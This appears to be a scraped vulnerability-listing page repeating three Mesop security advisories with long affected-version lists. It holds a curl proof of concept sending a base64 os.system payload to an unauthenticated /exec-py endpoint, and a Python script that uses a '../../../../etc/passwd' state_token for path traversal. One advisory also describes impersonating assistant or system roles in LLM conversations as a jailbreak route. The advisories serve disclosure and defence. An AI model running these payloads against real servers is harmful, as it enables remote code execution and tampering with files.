            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Jan 03, 2025

0.14.1rc1 pre

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Jan 03, 2025

0.14.0 minor

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 29, 2024

0.14rc1 pre

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Dec 29, 2024

0.13.0 minor

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


